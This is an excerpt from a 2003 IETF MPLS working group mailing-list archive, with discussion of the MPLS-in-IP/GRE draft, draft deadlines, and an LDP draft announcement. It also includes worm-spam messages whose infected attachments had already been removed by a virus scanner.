Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9DBQBr05958 for mpls@uu.net; Mon, 13 Oct 2003 07:26:11 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpkfl15311
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 13 Oct 2003 11:24:50 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpkfl26613
	for <mpls@uu.net>; Mon, 13 Oct 2003 11:24:15 GMT
From: jamoussi@nortelnetworks.com
Received: from DDSL-12 by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [61.11.79.227])
	id QQphnh10563
	for <mpls@uu.net>; Wed, 24 Sep 2003 11:16:41 GMT
Message-Id: <QQphnh10563.200309241116@cmr1.ash.ops.us.uu.net>
To: <mpls@UU.NET>
Subject: Re: Approved
Date: Fri, 1 Jan 1999 6:55:46 +0530
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_017C3320"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format

--_NextPart_000_017C3320
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

------------------  Virus Warning Message (on the network)

Found virus WORM_SOBIG.F in file your_details.pif
The uncleanable file is deleted.

---------------------------------------------------------

--_NextPart_000_017C3320
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

See the attached file for details
--_NextPart_000_017C3320
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


------------------  Virus Warning Message (on the network)

your_details.pif is removed from here because it contains a virus.

---------------------------------------------------------
--_NextPart_000_017C3320--



From owner-mpls@UU.NET  Mon Oct 13 09:03:10 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA02736
	for <mpls-archive@lists.ietf.org>; Mon, 13 Oct 2003 09:03:10 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkfs26862
	for <mpls-archive@lists.ietf.org>; Mon, 13 Oct 2003 13:03:18 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpkfs26584;
	Mon, 13 Oct 2003 13:03:08 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpkfq11833
	for mpls-outgoing; Mon, 13 Oct 2003 12:41:28 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpkfq11828
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 13 Oct 2003 12:41:23 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpkfq26136
	for <mpls@uu.net>; Mon, 13 Oct 2003 12:36:47 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkfq25092
	for <mpls@uu.net>; Mon, 13 Oct 2003 12:36:46 GMT
Received: from sj-iport-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpkfq25042
	for <mpls@uu.net>; Mon, 13 Oct 2003 12:36:45 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-5.cisco.com (8.12.9/8.12.6) with ESMTP id h9DCaalR027461
	for <mpls@uu.net>; Mon, 13 Oct 2003 05:36:37 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADC02105;
	Mon, 13 Oct 2003 08:36:36 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9DCaa010845 for mpls@uu.net; Mon, 13 Oct 2003 08:36:36 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpkfq11284
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 13 Oct 2003 12:35:27 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpkfp20654
	for <mpls@uu.net>; Mon, 13 Oct 2003 12:20:36 GMT
From: ietf-web@ietf.org
Received: from DDSL-12 by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [61.11.77.201])
	id QQphob29169
	for <mpls@uu.net>; Wed, 24 Sep 2003 16:26:53 GMT
Message-Id: <QQphob29169.200309241626@cmr1.ash.ops.us.uu.net>
To: <mpls@UU.NET>
Subject: Re: Re: My details
Date: Fri, 1 Jan 1999 12:05:57 +0530
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_02982CBF"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format

--_NextPart_000_02982CBF
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

------------------  Virus Warning Message (on the network)

Found virus WORM_SOBIG.F in file your_details.pif
The uncleanable file is deleted.

---------------------------------------------------------

--_NextPart_000_02982CBF
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Please see the attached file for details.
--_NextPart_000_02982CBF
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


------------------  Virus Warning Message (on the network)

your_details.pif is removed from here because it contains a virus.

---------------------------------------------------------
--_NextPart_000_02982CBF--



From owner-mpls@UU.NET  Mon Oct 13 10:53:32 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA10065
	for <mpls-archive@lists.ietf.org>; Mon, 13 Oct 2003 10:53:30 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkfz15622
	for <mpls-archive@lists.ietf.org>; Mon, 13 Oct 2003 14:53:37 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpkfz15395;
	Mon, 13 Oct 2003 14:53:29 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpkfy00179
	for mpls-outgoing; Mon, 13 Oct 2003 14:31:29 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpkfy00167
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 13 Oct 2003 14:31:18 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpkfx18465
	for <mpls@UU.NET>; Mon, 13 Oct 2003 14:27:02 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkfx18380
	for <mpls@UU.NET>; Mon, 13 Oct 2003 14:27:01 GMT
Received: from lv.serverbox.net by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: lv.serverbox.net [66.209.74.150])
	id QQpkfx18368
	for <mpls@UU.NET>; Mon, 13 Oct 2003 14:27:00 GMT
Received: (qmail 11505 invoked from network); 13 Oct 2003 14:26:54 -0000
Received: from unknown (HELO hballiache.opalsoft.net) (200.47.140.233)
  by lv.serverbox.net with SMTP; 13 Oct 2003 14:26:54 -0000
Message-Id: <5.1.0.14.1.20031013101826.00a69640@opalsoft.net>
X-Sender: lbb@opalsoft.net
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Mon, 13 Oct 2003 10:26:55 -0400
To: MPLS-WG <mpls@UU.NET>
From: Leonardo Balliache <lbb@opalsoft.net>
Subject: Re: I-D ACTION:draft-ietf-mpls-in-ip-or-gre-03.txt
In-Reply-To: <200309101755.NAA10377@ietf.org>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

At 01:55 p.m. 10/09/03 -0400, you wrote:

>Title           : Encapsulating MPLS in IP or Generic Routing 
>Encapsulation (GRE)
>Author(s)     : Y. Rekhter, E. Rosen
>Filename        : draft-ietf-mpls-in-ip-or-gre-03.txt
>Pages           : 9
>Date            : 2003-9-10
>

    With these encapsulations, it is possible for two LSRs that are
    adjacent on an LSP to be separated by an IP network, even if that IP
    network does not provide MPLS.

           IP Header
                 This field contains an IPv4 or an IPv6 datagram header
                 as defined in [RFC791] and [RFC2460] respectively. The
                 source and destination addresses are set to addresses
                 of the encapsulating and decapsulating LSRs respectively.

Ok.

I draw a little scheme:

                          head                  tail
    A             M         X      IP tunnel     Y          N                 B
---o------o------o---------o....................o----------o--------o--------o
   LSR    LSR    LSR   encapsulator        decapsulator    LSR      LSR 
  LSR

My doubts:

Q1: Your specification calls for:

Both, X & Y must be MPLS capable?     or,

X, but not necessarely Y, must be MPLS capable?     or,

Y, but not necessarely X, must be MPLS capable?     or,

Neither of them have to be necessarely MPLS capable?

Which router pop the last top label? M or X?

Which router push again a label? Y or N?

Q2: This paragraph:

    In some cases, the tunnel head receives, for encapsulation, an IP
    packet, which it first encapsulates in MPLS and then encapsulates in
    MPLS-in-IP or MPLS-in-GRE.  If the source of the IP packet is
    reachable from the tunnel head, and if the result of encapsulating
    the packet in MPLS would be a packet whose size exceeds the Tunnel
    MTU, then the value which the tunnel head SHOULD use for the purposes
    of fragmentation and PMTU discovery outside the tunnel is the Tunnel
    MTU value minus the size of the MPLS sencapsulation.

Could be explained a little better?

Best regards,

Leonardo Balliache

Pd: Perhaps, the scheme is not too bad to include it in the draft.

Practical QoS
http://opalsoft.net/qos




From owner-mpls@UU.NET  Mon Oct 13 11:54:53 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA12381
	for <mpls-archive@lists.ietf.org>; Mon, 13 Oct 2003 11:54:53 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkgd01688
	for <mpls-archive@lists.ietf.org>; Mon, 13 Oct 2003 15:55:01 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpkgd01387;
	Mon, 13 Oct 2003 15:54:49 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpkgc25114
	for mpls-outgoing; Mon, 13 Oct 2003 15:32:48 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpkgc25109
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 13 Oct 2003 15:32:47 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpkgc01495
	for <mpls@uu.net>; Mon, 13 Oct 2003 15:30:46 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkgc04575
	for <mpls@uu.net>; Mon, 13 Oct 2003 15:30:46 GMT
Received: from sj-iport-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpkgc04568
	for <mpls@uu.net>; Mon, 13 Oct 2003 15:30:46 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9DFUhIU022268
	for <mpls@uu.net>; Mon, 13 Oct 2003 08:30:43 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADC15163;
	Mon, 13 Oct 2003 11:30:40 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9DFUeZ14422 for mpls@uu.net; Mon, 13 Oct 2003 11:30:40 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpkgb24850
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 13 Oct 2003 15:29:50 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpkgb14202
	for <mpls@UU.NET>; Mon, 13 Oct 2003 15:27:43 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkgb26739
	for <mpls@UU.NET>; Mon, 13 Oct 2003 15:27:42 GMT
Received: from motgate3.mot.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: motgate3.mot.com [144.189.100.103])
	id QQpkgb26713
	for <mpls@UU.NET>; Mon, 13 Oct 2003 15:27:42 GMT
Received: from il06exr02.mot.com (il06exr02.mot.com [129.188.137.132])
	by motgate3.mot.com (Motorola/Motgate3) with ESMTP id h9DFReoK015900
	for <mpls@UU.NET>; Mon, 13 Oct 2003 08:27:41 -0700 (MST)
Received: from zin03exm01.corp.mot.com (zin03exm01.corp.mot.com [10.232.160.1])
	by il06exr02.mot.com (Motorola/il06exr02) with ESMTP id h9DFRaVo027295
	for <mpls@UU.NET>; Mon, 13 Oct 2003 10:27:38 -0500
Received: by zin03exm01.corp.mot.com with Internet Mail Service (5.5.2657.2)
	id <TQLMR3QX>; Mon, 13 Oct 2003 20:56:13 +0530
Message-ID: <2F8E7538CA01D711BC5900B0D079E710013CF080@zin03exm01.corp.mot.com>
From: S Mahadevan-A19066 <mahadevan.s@motorola.com>
To: "'Leonardo Balliache'" <lbb@opalsoft.net>, MPLS-WG <mpls@UU.NET>
Subject: RE: I-D ACTION:draft-ietf-mpls-in-ip-or-gre-03.txt
Date: Mon, 13 Oct 2003 20:56:12 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.2)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Please find my responses inline...
(indicated by <RESPONSE> tag)

-----Original Message-----
From: Leonardo Balliache [mailto:lbb@opalsoft.net]
Sent: Monday, October 13, 2003 7:57 PM
To: MPLS-WG
Subject: Re: I-D ACTION:draft-ietf-mpls-in-ip-or-gre-03.txt


At 01:55 p.m. 10/09/03 -0400, you wrote:

>Title           : Encapsulating MPLS in IP or Generic Routing 
>Encapsulation (GRE)
>Author(s)     : Y. Rekhter, E. Rosen
>Filename        : draft-ietf-mpls-in-ip-or-gre-03.txt
>Pages           : 9
>Date            : 2003-9-10
>

    With these encapsulations, it is possible for two LSRs that are
    adjacent on an LSP to be separated by an IP network, even if that IP
    network does not provide MPLS.

           IP Header
                 This field contains an IPv4 or an IPv6 datagram header
                 as defined in [RFC791] and [RFC2460] respectively. The
                 source and destination addresses are set to addresses
                 of the encapsulating and decapsulating LSRs respectively.

Ok.

I draw a little scheme:

                          head                  tail
    A             M         X      IP tunnel     Y          N                 B
---o------o------o---------o....................o----------o--------o--------o
   LSR    LSR    LSR   encapsulator        decapsulator    LSR      LSR 
  LSR

My doubts:

Q1: Your specification calls for:

Both, X & Y must be MPLS capable?     or,

X, but not necessarely Y, must be MPLS capable?     or,

Y, but not necessarely X, must be MPLS capable?     or,

Neither of them have to be necessarely MPLS capable?

<RESPONSE>Both X and Y must be MPLS capable. Here X is the "tunnel head"
because it encapsulates the received MPLS packet into IP and Y is the
"tunnel tail" because it decapsulates the packet. X needs to understand the
incoming packet's label and select a destination IP address (this mechanism
is not specified in the draft). Y decapsulates the IP header and forwards the
packet according to its top most label. In case I am wrong, I request the authors
to clarify this point.</RESPONSE>

Which router pop the last top label? M or X?
<RESPONSE>NONE of them need to pop the top label. Tunnel Head should
NOT be confused with an MPLS egress node. X just encapsulates the MPLS packet
it receives into IP</RESPONSE>

Which router push again a label? Y or N?
<RESPONSE>NONE of them need to push a label. (Well, they may do so, but it is not
necessary). The decapsulated IP packet will already contain a top label which can
be used to take a normal MPLS forwarding decision. Again Tunnel Tail should NOT be
confused with an MPLS ingress node.</RESPONSE>

Q2: This paragraph:

    In some cases, the tunnel head receives, for encapsulation, an IP
    packet, which it first encapsulates in MPLS and then encapsulates in
    MPLS-in-IP or MPLS-in-GRE.  If the source of the IP packet is
    reachable from the tunnel head, and if the result of encapsulating
    the packet in MPLS would be a packet whose size exceeds the Tunnel
    MTU, then the value which the tunnel head SHOULD use for the purposes
    of fragmentation and PMTU discovery outside the tunnel is the Tunnel
    MTU value minus the size of the MPLS sencapsulation.

Could be explained a little better?

<RESPONSE>This is a case in which an ingress LSR also happens to be
the tunnel head. In that case the LSR first encapsulates the incoming
packet using its FTN. Then it encapsulates the packet into another
IP header.
In that case the tunnel head should take the MPLS overhead also into
account while advertising the tunnel MTU.

i.e IF
MPLS overhead = MPLS_OH
Actual IP Tunnel MTU = IP_MTU
THEN value of PMTU advertised outside the tunnel = IP_MTU - MPLS_OH

Thats because the IP source will then send packets small enough
to fit into the IP tunnel even after being encapsulated using MPLS.
</RESPONSE>

Best regards,

Leonardo Balliache

Pd: Perhaps, the scheme is not too bad to include it in the draft.

Practical QoS
http://opalsoft.net/qos



From owner-mpls@UU.NET  Mon Oct 13 12:20:57 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA13753
	for <mpls-archive@lists.ietf.org>; Mon, 13 Oct 2003 12:20:56 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkgf20912
	for <mpls-archive@lists.ietf.org>; Mon, 13 Oct 2003 16:21:04 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpkgf20609;
	Mon, 13 Oct 2003 16:20:49 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpkgd27543
	for mpls-outgoing; Mon, 13 Oct 2003 15:58:54 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpkgd27534
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 13 Oct 2003 15:58:51 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpkgd08600
	for <mpls@UU.NET>; Mon, 13 Oct 2003 15:57:30 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkgd13178
	for <mpls@UU.NET>; Mon, 13 Oct 2003 15:57:30 GMT
Received: from smtp1.fre.skanova.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp1.fre.skanova.net [195.67.227.94])
	id QQpkgd13158
	for <mpls@UU.NET>; Mon, 13 Oct 2003 15:57:29 GMT
Received: from pi.se (h45n1fls31o888.telia.com [213.67.172.45])
	by smtp1.fre.skanova.net (8.12.10/8.12.10) with ESMTP id h9DFvSuw024137
	for <mpls@UU.NET>; Mon, 13 Oct 2003 17:57:29 +0200 (CEST)
Message-ID: <3F8ACB6E.4030906@pi.se>
Date: Mon, 13 Oct 2003 17:57:34 +0200
From: Loa Andersson <loa@pi.se>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: mpls wg <mpls@UU.NET>
Subject: id deadlines
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

All,

the cut-off date for publishing drafts before the Minneapolis
meeting are approaching fast!

The dead-line for new drafts are

October 20th

the deadline for updated draft are

October 27th

but DON'T wait until the last minute.

/Loa


-- 
Loa Andersson

Mobile          +46 739 81 21 64
Email           loa@pi.se





From owner-mpls@UU.NET  Mon Oct 13 13:41:15 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16767
	for <mpls-archive@lists.ietf.org>; Mon, 13 Oct 2003 13:41:14 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkgk17930
	for <mpls-archive@lists.ietf.org>; Mon, 13 Oct 2003 17:41:20 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpkgk17589;
	Mon, 13 Oct 2003 17:41:09 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpkgj13996
	for mpls-outgoing; Mon, 13 Oct 2003 17:18:54 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpkgj13991
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 13 Oct 2003 17:18:51 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpkgj02702
	for <mpls@UU.NET>; Mon, 13 Oct 2003 17:16:21 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkgj01868
	for <mpls@UU.NET>; Mon, 13 Oct 2003 17:16:21 GMT
Received: from merlot.juniper.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint2.juniper.net [207.17.136.150])
	id QQpkgj01853
	for <mpls@UU.NET>; Mon, 13 Oct 2003 17:16:20 GMT
Received: from garnet.juniper.net (garnet.juniper.net [172.17.28.17])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id h9DHGKj07280
	for <mpls@UU.NET>; Mon, 13 Oct 2003 10:16:20 -0700 (PDT)
	(envelope-from ina@juniper.net)
Date: Mon, 13 Oct 2003 10:16:20 -0700 (PDT)
From: Ina Minei <ina@juniper.net>
To: MPLS-WG <mpls@UU.NET>
Subject: I-D ACTION:draft-minei-mpls-ldp-external-00.txt (fwd)
Message-ID: <20031013100945.T88214@garnet.juniper.net>
MIME-Version: 1.0
Content-Type: MULTIPART/Mixed; BOUNDARY=NextPart
Content-ID: <20031013100945.G88214@garnet.juniper.net>
Sender: owner-mpls@UU.NET
Precedence: bulk

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--NextPart
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <20031013100945.I88214@garnet.juniper.net>


   This document describes a mechanism that allows the creation of LDP
signaled LSPs for prefixes which are not present in the routing table.

   Comments welcome,

		Thank you,

			Ina Minei

---------- Forwarded message ----------
Date: 7 Oct 03 15:00:15 GMT
From: Internet-Drafts@ietf.org
To: IETF-Announce:  ;
Newsgroups: jnx.ext.ietf.announce
Subject: I-D ACTION:draft-minei-mpls-ldp-external-00.txt

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: LDP signaled LSPs for external prefixes
	Author(s)	: L. Fang, et. al.
	Filename	: draft-minei-mpls-ldp-external-00.txt
	Pages		: 6
	Date		: 2003-10-7

In order to create forwarding state for a FEC received from a downstream
LSR, LDP requires the presence of a matching entry in the routing table.
This document describes a mechanism that allows the creation of LDP
signaled LSPs for prefixes which are not present in the routing table.
This draft is applicable to address prefix FECs and host FECs associated
with either IPv4 or IPv6 prefixes.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-minei-mpls-ldp-external-00.txt

To remove yourself from the IETF Announcement list, send a message to
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-minei-mpls-ldp-external-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-minei-mpls-ldp-external-00.txt".

NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.


Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.
--NextPart
Content-Type: MULTIPART/ALTERNATIVE; BOUNDARY=OtherAccess
Content-ID: <20031013100945.H88214@garnet.juniper.net>
Content-Description: 

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--OtherAccess
Content-Type: MESSAGE/EXTERNAL-BODY; ACCESS-TYPE=mail-server; SERVER="mailserv@ietf.org"
Content-ID: <20031013100945.F88214@garnet.juniper.net>

--OtherAccess
Content-Type: MESSAGE/EXTERNAL-BODY; NAME="draft-minei-mpls-ldp-external-00.txt"; SITE="ftp.ietf.org"; ACCESS-TYPE=anon-ftp; DIRECTORY=internet-drafts
Content-ID: <20031013100945.F88214@garnet.juniper.net>

--OtherAccess--
--NextPart--


From owner-mpls@UU.NET  Tue Oct 14 04:40:46 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA00092
	for <mpls-archive@lists.ietf.org>; Tue, 14 Oct 2003 04:40:45 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpkis04322
	for <mpls-archive@lists.ietf.org>; Tue, 14 Oct 2003 08:40:53 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpkis04027;
	Tue, 14 Oct 2003 08:40:40 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpkir22328
	for mpls-outgoing; Tue, 14 Oct 2003 08:20:55 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpkir22292
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 14 Oct 2003 08:20:38 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpkir16444
	for <mpls@uu.net>; Tue, 14 Oct 2003 08:18:01 GMT
From: bwijnen@lucent.com
Received: from DDSL-12 by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [61.11.79.227])
	id QQphnj11886
	for <mpls@uu.net>; Wed, 24 Sep 2003 11:52:02 GMT
